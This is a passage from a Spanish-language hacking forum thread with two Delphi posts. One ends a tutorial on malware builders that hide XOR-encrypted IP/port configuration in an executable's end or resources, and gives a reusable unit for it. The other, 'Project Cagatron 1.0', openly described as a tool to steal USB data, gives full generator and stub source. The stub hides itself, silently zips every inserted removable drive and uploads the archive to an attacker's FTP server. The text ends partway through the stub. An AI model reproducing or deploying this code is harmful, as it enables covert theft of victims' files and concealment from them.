  38.  leyendo3 := LoadResource(hInstance, leyendo1); // Cargamos el recurso
  39.  leyendo4 := LockResource(leyendo3);
  40.  // Bloqueamos el recurso para poder leerlo despues
  41.  if leyendo4 <> nil then // Si "leyendo4" no esta null ...
  42.  begin
  43.    SetLength(Result, leyendo2 - 1); // Cambiamos la longitud de Result
  44.    CopyMemory(@Result[1], leyendo4, leyendo2);
  45.    // Copiamos los datos al resultado de la funcion
  46.    FreeResource(leyendo3); // Liberamos el recurso
  47.  end;
  48. end;
  49.  
  50. function leer_recurso(clave: integer): string;
  51. var
  52.  datos: string; // Declaramos la variable "datos" como string
  53. begin
  54.  datos := xor_now(leyendo_recurso, clave);
  55.  // Realizamos el cifrado xor con los datos que usamos
  56.  // como argumentos de la funcion leer_recurso()
  57.  datos := regex(datos, '-0x646F646479206861636B6D616E-',
  58.    '-0x646F646479206861636B6D616E-');
  59.  // Usamos la funcion regex() para cortar los delimitadores
  60.  // y encontrar asi los datos del recurso para despues guardar el
  61.  // resultado en la variable "datos"
  62.  Result := datos;
  63.  // Devolvemos como resultado lo que contiene la variable "datos"
  64. end;
  65.  

El codigo les deberia quedar asi :



Guardan el proyecto con el nombre que quieran y con eso ya estaria listo el stub.

0x04 : Probando el programa

Para probarlo cargamos el builder y llenamos los campos de IP y Puerto como quieran , un ejemplo de como los complete yo seria  :



Despues presionan el boton "Make Server" y listo.

Ahora cargamos el stub y le damos al boton "Get Values" , deberian ver como resultado algo como esto :



Si no ven algo como en la imagen es porque hicieron algo mal en el codigo.

0x05 : Builder Tools

Como regalo les dejo esta Unit que hice en Delphi sobre como hacer un Builder , contiene funciones para EOF y Recursos , en los dos casos uso XOR para cifrar los datos , tambien viene con ejemplos de uso.

Solo deben agregar "builder_tools" en el parte de "uses" del codigo y listo , podran usar las funciones.

El codigo :

Código
  1. // Unit : Builder Tools
  2. // Version : 0.2
  3. // (C) Doddy Hackman 2015
  4. // Credits : Resources based in http://www.hackforums.net/showthread.php?tid=1422700
  5. // Examples :
  6. // escribir_eof('stub.exe','-delimitador-','-delimitador-','test',123);
  7. // leer_eof('stub.exe','-delimitador-','-delimitador-',123);
  8. // escribir_recurso('stub.exe','test',123);
  9. // leer_recurso(123);
  10.  
  11. unit builder_tools;
  12.  
  13. interface
  14.  
  15. uses SysUtils, Windows;
  16.  
  17. function leer_eof(ruta, delimitador1, delimitador2: string;
  18.  clave: integer): string;
  19. function escribir_eof(ruta, delimitador1, delimitador2, texto: string;
  20.  clave: integer): bool;
  21. function escribir_recurso(ruta: string; datos: string; clave: integer): bool;
  22. function leyendo_recurso: string;
  23. function leer_recurso(clave: integer): string;
  24. function xor_now(texto: string; clave: integer): string;
  25. function regex(text: string; deaca: string; hastaaca: string): string;
  26.  
  27. implementation
  28.  
  29. function xor_now(texto: string; clave: integer): string;
  30. var
  31.  numero: integer;
  32.  contenido: string;
  33. begin
  34.  contenido := '';
  35.  for numero := 1 to Length(texto) do
  36.  begin
  37.    contenido := contenido + Char(integer(texto[numero]) xor clave);
  38.  end;
  39.  Result := contenido;
  40. end;
  41.  
  42. function regex(text: string; deaca: string; hastaaca: string): string;
  43. begin
  44.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  45.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  46.  Result := text;
  47. end;
  48.  
  49. function leer_eof(ruta, delimitador1, delimitador2: string;
  50.  clave: integer): string;
  51. var
  52.  ob: THandle;
  53.  code: Array [0 .. 9999 + 1] of Char;
  54.  nose: DWORD;
  55.  resultado: string;
  56.  
  57. begin
  58.  
  59.  ob := INVALID_HANDLE_VALUE;
  60.  code := '';
  61.  
  62.  ob := CreateFile(pchar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
  63.    OPEN_EXISTING, 0, 0);
  64.  if (ob <> INVALID_HANDLE_VALUE) then
  65.  begin
  66.    SetFilePointer(ob, -9999, nil, FILE_END);
  67.    ReadFile(ob, code, 9999, nose, nil);
  68.    CloseHandle(ob);
  69.  end;
  70.  
  71.  resultado := regex(code, delimitador1, delimitador2);
  72.  resultado := xor_now(resultado, clave);
  73.  Result := resultado;
  74.  
  75. end;
  76.  
  77. function escribir_eof(ruta, delimitador1, delimitador2, texto: string;
  78.  clave: integer): bool;
  79. var
  80.  linea: string;
  81.  aca: THandle;
  82.  code: Array [0 .. 9999 + 1] of Char;
  83.  nose: DWORD;
  84.  marca_uno: string;
  85.  marca_dos: string;
  86.  
  87. begin
  88.  
  89.  aca := INVALID_HANDLE_VALUE;
  90.  nose := 0;
  91.  
  92.  begin
  93.    linea := delimitador1 + xor_now(texto, clave) + delimitador2;
  94.    StrCopy(code, pchar(linea));
  95.    aca := CreateFile(pchar(ruta), GENERIC_WRITE, FILE_SHARE_READ, nil,
  96.      OPEN_EXISTING, 0, 0);
  97.    if (aca <> INVALID_HANDLE_VALUE) then
  98.    begin
  99.      SetFilePointer(aca, 0, nil, FILE_END);
  100.      WriteFile(aca, code, 9999, nose, nil);
  101.      CloseHandle(aca);
  102.      Result := True;
  103.    end
  104.    else
  105.    begin
  106.      Result := False;
  107.    end;
  108.  end;
  109. end;
  110.  
  111. function escribir_recurso(ruta: string; datos: string; clave: integer): bool;
  112. var
  113.  escribiendo: THandle;
  114. begin
  115.  datos := xor_now('-0x646F646479206861636B6D616E-' + datos +
  116.    '-0x646F646479206861636B6D616E-', clave);
  117.  escribiendo := BeginUpdateResource(pchar(ruta), False);
  118.  UpdateResource(escribiendo, MakeIntResource(10), 'CONFIGURATION', 0,
  119.    pchar(datos), (Length(datos) + 1) * SizeOf(datos[1]));
  120.  EndUpdateResource(escribiendo, False);
  121.  Result := True;
  122. end;
  123.  
  124. function leyendo_recurso: string;
  125. var
  126.  leyendo1: HRSRC;
  127.  leyendo2: DWORD;
  128.  leyendo3: THandle;
  129.  leyendo4: pointer;
  130. begin
  131.  leyendo1 := FindResource(hInstance, 'CONFIGURATION', RT_RCDATA);
  132.  leyendo2 := SizeofResource(hInstance, leyendo1);
  133.  leyendo3 := LoadResource(hInstance, leyendo1);
  134.  leyendo4 := LockResource(leyendo3);
  135.  if leyendo4 <> nil then
  136.  begin
  137.    SetLength(Result, leyendo2 - 1);
  138.    CopyMemory(@Result[1], leyendo4, leyendo2);
  139.    FreeResource(leyendo3);
  140.  end;
  141. end;
  142.  
  143. function leer_recurso(clave: integer): string;
  144. var
  145.  datos: string;
  146. begin
  147.  datos := xor_now(leyendo_recurso, clave);
  148.  datos := regex(datos, '-0x646F646479206861636B6D616E-',
  149.    '-0x646F646479206861636B6D616E-');
  150.  Result := datos;
  151. end;
  152.  
  153. end.
  154.  
  155. // The End ?
  156.  

Eso seria todo.

--========--
  The End ?
--========--

Version PDF.

Version en VideoTutorial :

74  Programación / Programación General / [Delphi] Project Cagatron 1.0 en: 6 Marzo 2015, 17:01 pm
Un simple programa en Delphi para robar extraer los datos de un USB con las siguientes opciones :

  • Detecta cualquier USB conectado a la computadora
  • Comprime los datos un archivo comprimido en una carpeta oculta de la computadora
  • Permite la opcion de enviar los datos por FTP o dejarlos en la computadora

Una imagen :



Los codigos :

El generador.

Código
  1. // Project Cagatron 1.0
  2. // (C) Doddy Hackman 2015
  3. // Based on Ladron by Khronos
  4.  
  5. unit caga;
  6.  
  7. interface
  8.  
  9. uses
  10.  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  11.  System.Classes, Vcl.Graphics,
  12.  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, sevenzip, Vcl.ComCtrls, Vcl.StdCtrls,
  13.  ShellApi,
  14.  Vcl.Menus, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  15.  IdExplicitTLSClientServerBase, IdFTP, Vcl.ExtCtrls, Vcl.Imaging.pngimage;
  16.  
  17. type
  18.  TForm1 = class(TForm)
  19.    PageControl1: TPageControl;
  20.    TabSheet1: TTabSheet;
  21.    TabSheet2: TTabSheet;
  22.    TabSheet3: TTabSheet;
  23.    StatusBar1: TStatusBar;
  24.    PageControl2: TPageControl;
  25.    TabSheet4: TTabSheet;
  26.    usb_found: TListView;
  27.    TabSheet5: TTabSheet;
  28.    TabSheet6: TTabSheet;
  29.    GroupBox1: TGroupBox;
  30.    Label1: TLabel;
  31.    ftp_host: TEdit;
  32.    Label2: TLabel;
  33.    ftp_user: TEdit;
  34.    Label3: TLabel;
  35.    ftp_pass: TEdit;
  36.    Label4: TLabel;
  37.    ftp_path: TEdit;
  38.    GroupBox2: TGroupBox;
  39.    enter_usb: TEdit;
  40.    Button1: TButton;
  41.    Button2: TButton;
  42.    GroupBox3: TGroupBox;
  43.    upload_ftp_server: TRadioButton;
  44.    TabSheet7: TTabSheet;
  45.    GroupBox4: TGroupBox;
  46.    console: TMemo;
  47.    TabSheet8: TTabSheet;
  48.    only_logs: TRadioButton;
  49.    logs: TListView;
  50.    rutas: TListBox;
  51.    menu: TPopupMenu;
  52.    L1: TMenuItem;
  53.    IdFTP1: TIdFTP;
  54.    buscar_usb: TTimer;
  55.    otromenu: TPopupMenu;
  56.    S1: TMenuItem;
  57.    opcion_text: TEdit;
  58.    PageControl3: TPageControl;
  59.    TabSheet9: TTabSheet;
  60.    TabSheet10: TTabSheet;
  61.    GroupBox5: TGroupBox;
  62.    Label5: TLabel;
  63.    Label6: TLabel;
  64.    Label7: TLabel;
  65.    Label8: TLabel;
  66.    ftp_host2: TEdit;
  67.    ftp_user2: TEdit;
  68.    ftp_pass2: TEdit;
  69.    ftp_path2: TEdit;
  70.    GroupBox7: TGroupBox;
  71.    directorios: TComboBox;
  72.    GroupBox6: TGroupBox;
  73.    foldername: TEdit;
  74.    Button3: TButton;
  75.    GroupBox8: TGroupBox;
  76.    Image1: TImage;
  77.    Label9: TLabel;
  78.    Image2: TImage;
  79.    GroupBox9: TGroupBox;
  80.    hide_file: TCheckBox;
  81.    upload_ftp: TCheckBox;
  82.    procedure FormCreate(Sender: TObject);
  83.    procedure Button1Click(Sender: TObject);
  84.    procedure Button2Click(Sender: TObject);
  85.    procedure list_files;
  86.    procedure L1Click(Sender: TObject);
  87.    procedure buscar_usbTimer(Sender: TObject);
  88.    procedure S1Click(Sender: TObject);
  89.    procedure Button3Click(Sender: TObject);
  90.  
  91.  private
  92.    { Private declarations }
  93.  public
  94.    { Public declarations }
  95.  end;
  96.  
  97. var
  98.  Form1: TForm1;
  99.  
  100. implementation
  101.  
  102. {$R *.dfm}
  103.  
  104. function dhencode(texto, opcion: string): string;
  105. // Thanks to Taqyon
  106. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  107. var
  108.  num: integer;
  109.  aca: string;
  110.  cantidad: integer;
  111.  
  112. begin
  113.  
  114.  num := 0;
  115.  Result := '';
  116.  aca := '';
  117.  cantidad := 0;
  118.  
  119.  if (opcion = 'encode') then
  120.  begin
  121.    cantidad := length(texto);
  122.    for num := 1 to cantidad do
  123.    begin
  124.      aca := IntToHex(ord(texto[num]), 2);
  125.      Result := Result + aca;
  126.    end;
  127.  end;
  128.  
  129.  if (opcion = 'decode') then
  130.  begin
  131.    cantidad := length(texto);
  132.    for num := 1 to cantidad div 2 do
  133.    begin
  134.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  135.      Result := Result + aca;
  136.    end;
  137.  end;
  138.  
  139. end;
  140.  
  141. function usb_name(checked: Char): string;
  142. // Based on http://delphitutorial.info/get-volume-name.html
  143. var
  144.  uno, dos: DWORD;
  145.  resultnow: array [0 .. MAX_PATH] of Char;
  146. begin
  147.  try
  148.    GetVolumeInformation(PChar(checked + ':/'), resultnow, sizeof(resultnow),
  149.      nil, uno, dos, nil, 0);
  150.    Result := StrPas(resultnow);
  151.  except
  152.    Result := checked;
  153.  end;
  154. end;
  155.  
  156. function check_drive(target: string): boolean;
  157. var
  158.  a, b, c: cardinal;
  159. begin
  160.  Result := GetVolumeInformation(PChar(target), nil, 0, @c, a, b, nil, 0);
  161. end;
  162.  
  163. function file_size(target: String): integer;
  164. var
  165.  busqueda: TSearchRec;
  166. begin
  167.  Result := 0;
  168.  try
  169.    begin
  170.      if FindFirst(target + '\*.*', faAnyFile + faDirectory + faReadOnly,
  171.        busqueda) = 0 then
  172.      begin
  173.        repeat
  174.          Inc(Result);
  175.        until FindNext(busqueda) <> 0;
  176.        System.SysUtils.FindClose(busqueda);
  177.      end;
  178.    end;
  179.  except
  180.    Result := 0;
  181.  end;
  182. end;
  183.  
  184. procedure TForm1.FormCreate(Sender: TObject);
  185. begin
  186.  if not DirectoryExists('logs') then
  187.  begin
  188.    CreateDir('logs');
  189.  end;
  190.  Chdir('logs');
  191.  list_files;
  192. end;
  193.  
  194. procedure TForm1.L1Click(Sender: TObject);
  195. begin
  196.  ShellExecute(0, nil, PChar(rutas.Items[logs.Selected.Index]), nil, nil,
  197.    SW_SHOWNORMAL);
  198. end;
  199.  
  200. procedure TForm1.list_files;
  201. var
  202.  search: TSearchRec;
  203.  ext: string;
  204.  fecha1: integer;
  205. begin
  206.  
  207.  logs.Items.Clear();
  208.  rutas.Items.Clear();
  209.  
  210.  FindFirst(ExtractFilePath(Application.ExeName) + 'logs' + '\*.*',
  211.    faAnyFile, search);
  212.  while FindNext(search) = 0 do
  213.  begin
  214.    ext := ExtractFileExt(search.Name);
  215.    if (ext = '.zip') then
  216.    begin
  217.      with logs.Items.Add do
  218.      begin
  219.        fecha1 := FileAge(ExtractFilePath(Application.ExeName) + 'logs/' +
  220.          search.Name);
  221.        rutas.Items.Add(ExtractFilePath(Application.ExeName) + 'logs/' +
  222.          search.Name);
  223.        Caption := search.Name;
  224.        SubItems.Add(DateToStr(FileDateToDateTime(fecha1)));
  225.      end;
  226.    end;
  227.  end;
  228.  FindClose(search);
  229. end;
  230.  
  231. procedure TForm1.S1Click(Sender: TObject);
  232. begin
  233.  opcion_text.Text := usb_found.Selected.Caption;
  234.  enter_usb.Text := usb_found.Selected.SubItems[1];
  235. end;
  236.  
  237. procedure TForm1.buscar_usbTimer(Sender: TObject);
  238. var
  239.  unidad: Char;
  240. begin
  241.  usb_found.Items.Clear();
  242.  for unidad := 'C' to 'Z' do
  243.  begin
  244.    if (check_drive(PChar(unidad + ':\')) = True) and
  245.      (GetDriveType(PChar(unidad + ':\')) = DRIVE_REMOVABLE) then
  246.    begin
  247.      with usb_found.Items.Add do
  248.      begin
  249.        Caption := usb_name(unidad);
  250.        SubItems.Add(IntToStr(file_size(unidad + ':\')));
  251.        SubItems.Add(unidad + ':\');
  252.      end;
  253.    end;
  254.  end;
  255. end;
  256.  
  257. procedure TForm1.Button1Click(Sender: TObject);
  258. begin
  259.  with TFileOpenDialog.Create(nil) do
  260.    try
  261.      Options := [fdoPickFolders];
  262.      if Execute then
  263.        enter_usb.Text := Filename;
  264.    finally
  265.      Free;
  266.    end;
  267. end;
  268.  
  269. procedure TForm1.Button2Click(Sender: TObject);
  270. var
  271.  zipnow: I7zOutArchive;
  272.  busqueda: TSearchRec;
  273.  code: string;
  274.  dirnow: string;
  275.  guardar: string;
  276.  
  277. begin
  278.  
  279.  dirnow := enter_usb.Text;
  280.  
  281.  if not FileExists(PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'))
  282.  then
  283.  begin
  284.    CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/7z.dll'),
  285.      PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'), True);
  286.  end;
  287.  
  288.  if not(opcion_text.Text = '') then
  289.  begin
  290.    guardar := opcion_text.Text + '.zip';
  291.  end
  292.  else
  293.  begin
  294.    guardar := ExtractFileName(dirnow) + '.zip';
  295.  end;
  296.  
  297.  StatusBar1.Panels[0].Text := '[+] Saving ...';
  298.  Form1.StatusBar1.Update;
  299.  
  300.  console.Lines.Add('[+] Saving ..');
  301.  
  302.  zipnow := CreateOutArchive(CLSID_CFormat7z);
  303.  SetCompressionLevel(zipnow, 9);
  304.  SevenZipSetCompressionMethod(zipnow, m7LZMA);
  305.  
  306.  if FindFirst(dirnow + '\*.*', faAnyFile + faDirectory + faReadOnly,
  307.    busqueda) = 0 then
  308.  begin
  309.    repeat
  310.      if (busqueda.Attr = faDirectory) then
  311.      begin
  312.        if not(busqueda.Name = '.') and not(busqueda.Name = '..') then
  313.        begin
  314.          console.Lines.Add('[+] Saving Directory : ' + busqueda.Name);
  315.          // StatusBar1.Panels[0].Text := '[+] Saving Directory : ' + busqueda.Name;
  316.          // Form1.StatusBar1.Update;
  317.          zipnow.AddFiles(dirnow + '/' + busqueda.Name, busqueda.Name,
  318.            '*.*', True);
  319.        end;
  320.      end
  321.      else
  322.      begin
  323.        console.Lines.Add('[+] Saving File : ' + busqueda.Name);
  324.        // StatusBar1.Panels[0].Text := '[+] Saving File : ' + busqueda.Name;
  325.        // Form1.StatusBar1.Update;
  326.        zipnow.AddFile(dirnow + '/' + busqueda.Name, busqueda.Name);
  327.      end;
  328.    until FindNext(busqueda) <> 0;
  329.    System.SysUtils.FindClose(busqueda);
  330.  end;
  331.  
  332.  zipnow.SaveToFile(guardar);
  333.  
  334.  if (upload_ftp_server.checked) then
  335.  begin
  336.    IdFTP1.Host := ftp_host.Text;
  337.    IdFTP1.Username := ftp_user.Text;
  338.    IdFTP1.Password := ftp_pass.Text;
  339.    try
  340.      IdFTP1.Connect;
  341.    except
  342.      StatusBar1.Panels[0].Text := '[-] Error Uploading';
  343.      Form1.StatusBar1.Update;
  344.    end;
  345.  
  346.    StatusBar1.Panels[0].Text := '[+] Uploading ...';
  347.    Form1.StatusBar1.Update;
  348.  
  349.    IdFTP1.ChangeDir(ftp_path.Text);
  350.    IdFTP1.Put(guardar, guardar, False);
  351.  end;
  352.  
  353.  list_files;
  354.  
  355.  console.Lines.Add('[+] Ready');
  356.  
  357.  StatusBar1.Panels[0].Text := '[+] Ready';
  358.  Form1.StatusBar1.Update;
  359.  
  360.  opcion_text.Text := '';
  361.  
  362. end;
  363.  
  364. procedure TForm1.Button3Click(Sender: TObject);
  365. var
  366.  lineafinal: string;
  367.  hidefile: string;
  368.  uploadftp: string;
  369.  aca: THandle;
  370.  code: Array [0 .. 9999 + 1] of Char;
  371.  nose: DWORD;
  372.  stubgenerado: string;
  373.  
  374. begin
  375.  
  376.  if (hide_file.checked) then
  377.  begin
  378.    hidefile := '1';
  379.  end
  380.  else
  381.  begin
  382.    hidefile := '0';
  383.  end;
  384.  
  385.  if (upload_ftp.checked) then
  386.  begin
  387.    uploadftp := '1';
  388.  end
  389.  else
  390.  begin
  391.    uploadftp := '0';
  392.  end;
  393.  
  394.  lineafinal := '[63686175]' + dhencode('[online]1[online]' + '[directorios]' +
  395.    directorios.Text + '[directorios]' + '[carpeta]' + foldername.Text +
  396.    '[carpeta]' + '[ocultar]' + hidefile + '[ocultar]' + '[ftp_op]' + uploadftp
  397.    + '[ftp_op]' + '[ftp_host]' + ftp_host.Text + '[ftp_host]' + '[ftp_user]' +
  398.    ftp_user.Text + '[ftp_user]' + '[ftp_pass]' + ftp_pass.Text + '[ftp_pass]' +
  399.    '[ftp_path]' + ftp_path.Text + '[ftp_path]', 'encode') + '[63686175]';
  400.  
  401.  aca := INVALID_HANDLE_VALUE;
  402.  nose := 0;
  403.  
  404.  stubgenerado := 'cagatron_ready.exe';
  405.  
  406.  DeleteFile(stubgenerado);
  407.  CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
  408.    'Data/cagatron_server.exe'), PChar(ExtractFilePath(Application.ExeName) +
  409.    '/' + stubgenerado), True);
  410.  
  411.  CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/7z.dll'),
  412.    PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'), True);
  413.  
  414.  StrCopy(code, PChar(lineafinal));
  415.  aca := CreateFile(PChar(ExtractFilePath(Application.ExeName) +
  416.    '/cagatron_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ, nil,
  417.    OPEN_EXISTING, 0, 0);
  418.  if (aca <> INVALID_HANDLE_VALUE) then
  419.  begin
  420.    SetFilePointer(aca, 0, nil, FILE_END);
  421.    WriteFile(aca, code, 9999, nose, nil);
  422.    CloseHandle(aca);
  423.  end;
  424.  
  425.  StatusBar1.Panels[0].Text := '[+] Done';
  426.  Form1.StatusBar1.Update;
  427.  
  428. end;
  429.  
  430. end.
  431.  
  432. // The End ?
  433.  

El Stub.

Código
  1. // Project Cagatron 1.0
  2. // (C) Doddy Hackman 2015
  3. // Based on Ladron by Khronos
  4.  
  5. program cagatron_server;
  6.  
  7. {$APPTYPE GUI}
  8. {$R *.res}
  9.  
  10. uses
  11.  SysUtils, WinInet, Windows, sevenzip;
  12.  
  13. var
  14.  directorio, directorio_final, carpeta, nombrereal, yalisto: string;
  15.  hide_op: string;
  16.  registro: HKEY;
  17.  ftp_op, ftp_host, ftp_user, ftp_pass, ftp_path: string;
  18.  online: string;
  19.  
  20.  ob: THandle;
  21.  code: Array [0 .. 9999 + 1] of Char;
  22.  nose: DWORD;
  23.  todo: string;
  24.  
  25.  // Functions
  26.  
  27. function regex(text: String; deaca: String; hastaaca: String): String;
  28. begin
  29.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  30.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  31.  Result := text;
  32. end;
  33.  
  34. function dhencode(texto, opcion: string): string;
  35. // Thanks to Taqyon
  36. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  37. var
  38.  num: integer;
  39.  aca: string;
  40.  cantidad: integer;
  41.  
  42. begin
  43.  
  44.  num := 0;
  45.  Result := '';
  46.  aca := '';
  47.  cantidad := 0;
  48.  
  49.  if (opcion = 'encode') then
  50.  begin
  51.    cantidad := Length(texto);
  52.    for num := 1 to cantidad do
  53.    begin
  54.      aca := IntToHex(ord(texto[num]), 2);
  55.      Result := Result + aca;
  56.    end;
  57.  end;
  58.  
  59.  if (opcion = 'decode') then
  60.  begin
  61.    cantidad := Length(texto);
  62.    for num := 1 to cantidad div 2 do
  63.    begin
  64.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  65.      Result := Result + aca;
  66.    end;
  67.  end;
  68.  
  69. end;
  70.  
  71. procedure comprimir(dirnow, guardar: string);
  72. var
  73.  zipnow: I7zOutArchive;
  74.  busqueda: TSearchRec;
  75. begin
  76.  
  77.  zipnow := CreateOutArchive(CLSID_CFormat7z);
  78.  SetCompressionLevel(zipnow, 9);
  79.  SevenZipSetCompressionMethod(zipnow, m7LZMA);
  80.  
  81.  if FindFirst(dirnow + '\*.*', faAnyFile + faDirectory + faReadOnly,
  82.    busqueda) = 0 then
  83.  begin
  84.    repeat
  85.      if (busqueda.Attr = faDirectory) then
  86.      begin
  87.        if not(busqueda.Name = '.') and not(busqueda.Name = '..') then
  88.        begin
  89.          zipnow.AddFiles(dirnow + '/' + busqueda.Name, busqueda.Name,
  90.            '*.*', True);
  91.        end;
  92.      end
  93.      else
  94.      begin
  95.        zipnow.AddFile(dirnow + '/' + busqueda.Name, busqueda.Name);
  96.      end;
  97.    until FindNext(busqueda) <> 0;
  98.    System.SysUtils.FindClose(busqueda);
  99.  end;
  100.  
  101.  zipnow.SaveToFile(guardar);
  102.  
  103.  if (hide_op = '1') then
  104.  begin
  105.    SetFileAttributes(pchar(guardar), FILE_ATTRIBUTE_HIDDEN);
  106.  end;
  107.  
  108. end;
  109.  
  110. function usb_name(checked: Char): string;
  111. // Based on http://delphitutorial.info/get-volume-name.html
  112. var
  113.  uno, dos: DWORD;
  114.  resultnow: array [0 .. MAX_PATH] of Char;
  115. begin
  116.  try
  117.    GetVolumeInformation(pchar(checked + ':/'), resultnow, sizeof(resultnow),
  118.      nil, uno, dos, nil, 0);
  119.    Result := StrPas(resultnow);
  120.  except
  121.    Result := checked;
  122.  end;
  123. end;
  124.  
  125. function check_drive(target: string): boolean;
  126. var
  127.  a, b, c: cardinal;
  128. begin
  129.  Result := GetVolumeInformation(pchar(target), nil, 0, @c, a, b, nil, 0);
  130. end;
  131.  
  132. function check_file_ftp(host, username, password, archivo: pchar): integer;
  133. var
  134.  controluno: HINTERNET;
  135.  controldos: HINTERNET;
  136.  abriendo: HINTERNET;
  137.  valor: integer;
  138.  
  139. begin
  140.  
  141.  controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
  142.  controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
  143.    username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
  144.  
  145.  abriendo := ftpOpenfile(controldos, pchar(archivo), GENERIC_READ,
  146.    FTP_TRANSFER_TYPE_BINARY, 0);
  147.  valor := ftpGetFileSize(abriendo, nil);
  148.  
  149.  InternetCloseHandle(controldos);
  150.  InternetCloseHandle(controluno);
  151.  
  152.  Result := valor;
  153.  
  154. end;
  155.  
  156. procedure upload_ftpfile(host, username, password, filetoupload,
  157.  conestenombre: pchar);
  158.  
  159. // Credits :
  160. // Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
  161. // Thanks to Omair Iqbal
  162.  
  163. var
  164.  controluno: HINTERNET;
  165.  controldos: HINTERNET;
  166.  
  167. begin
  168.  
  169.  try
  170.  
  171.    begin
  172.      controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
  173.      controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
  174.        username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
  175.      ftpPutFile(controldos, filetoupload, conestenombre,
  176.        FTP_TRANSFER_TYPE_BINARY, 0);
  177.      InternetCloseHandle(controldos);
  178.      InternetCloseHandle(controluno);
  179.    end
  180.  except
  181.    //
  182.  end;
  183. end;
  184.  
  185. procedure buscar_usb;
  186. var
  187.  unidad: Char;
  188.  usb_target, usb_nombre: string;
  189. begin
  190.  while (1 = 1) do
  191.  begin
  192.    Sleep(5000);
  193.    for unidad := 'C' to 'Z' do
  194.    begin
  195.      if (check_drive(pchar(unidad + ':\')) = True) and
  196.        (GetDriveType(pchar(unidad + ':\')) = DRIVE_REMOVABLE) then
  197.      begin
  198.        usb_target := unidad + ':\';
  199.        usb_nombre := usb_name(unidad) + '.zip';
  200.        if not(FileExists(usb_nombre)) then
  201.        begin
  202.          // Writeln('[+] Saving ' + usb_target + ' : ' + usb_nombre + ' ...');
  203.          comprimir(usb_target, usb_nombre);
  204.          // Writeln('[+] Saved');
  205.          if (ftp_op = '1') then
  206.          begin
  207.            // Writeln('[+] Checking file in FTP ...');
  208.            if (check_file_ftp(pchar(ftp_host), pchar(ftp_user),
  209.              pchar(ftp_pass), pchar('/' + ftp_path + '/' + usb_nombre)) = -1)
  210.            then
  211.            begin
  212.              // Writeln('[+] Uploading ...');
  213.              upload_ftpfile(pchar(ftp_host), pchar(ftp_user), pchar(ftp_pass),
  214.                pchar(usb_nombre), pchar('/' + ftp_path + '/' + usb_nombre));
  215.              // Writeln('[+] Done');
  216.            end
  217.            else
  218.            begin
  219.              // Writeln('[+] File exists');
  220.            end;
  221.          end;
  222.        end;
  223.      end;
  224.    end;
  225.  end;
  226. end;
  227.  
  228. begin
  229.  
  230.  try
  231.  
  232.    ob := INVALID_HANDLE_VALUE;
  233.    code := '';
  234.  
  235.    ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
  236.      OPEN_EXISTING, 0, 0);
  237.    if (ob <> INVALID_HANDLE_VALUE) then
  238.    begin
  239.      SetFilePointer(ob, -9999, nil, FILE_END);
  240.      ReadFile(ob, code, 9999, nose, nil);
  241.      CloseHandle(ob);
  242.    end;
  243.  
  244.    todo := regex(code, '[63686175]', '[63686175]');
  245.    todo := dhencode(todo, 'decode');
  246.  
  247.    directorio := pchar(regex(todo, '[directorios]', '[directorios]'));
  248.    carpeta := pchar(regex(todo, '[carpeta]', '[carpeta]'));
  249.    directorio_final := GetEnvironmentVariable(directorio) + '/' + carpeta;
  250.    hide_op := pchar(regex(todo, '[ocultar]', '[ocultar]'));
  251.  
  252.    ftp_op := pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
  253.    ftp_host := pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
  254.    ftp_user := pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
  255.    ftp_pass := pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
  256.    ftp_path := pchar(regex(todo, '[ftp_path]', '[ftp_path]'));
  257.  
  258.    online := pchar(regex(todo, '[online]', '[online]'));
  259.  
  260.    if (online = '1') then
  261.    begin
  262.      nombrereal := ExtractFileName(paramstr(0));
  263.      yalisto := directorio_final + '/' + nombrereal;
  264.  
  265.      if not(DirectoryExists(directorio_final)) then
  266.      begin
  267.        CreateDir(directorio_final);
  268.      end;
  269.  
  270.      // CopyFile(pchar(paramstr(0)), pchar(yalisto), False);
  271.      MoveFile(pchar(paramstr(0)), pchar(yalisto));
  272.      if (hide_op = '1') then
  273.      begin
  274.        SetFileAttributes(pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  275.      end;
  276.      if (FileExists('7z.dll')) then
  277.      begin
  278.        // CopyFile(pchar('7z.dll'),
  279.        // pchar(directorio_final + '/' + '7z.dll'), False);
  280.        MoveFile(pchar('7z.dll'), pchar(directorio_final + '/' + '7z.dll'));
  281.        if (hide_op = '1') then
  282.        begin
  283.          SetFileAttributes(pchar(directorio_final + '/' + '7z.dll'),
  284.            FILE_ATTRIBUTE_HIDDEN);
  285.        end;
  286.      end;
  287.  
  288.      ChDir(directorio_final);
  289.  
  290.      if (hide_op = '1') then
  291.      begin
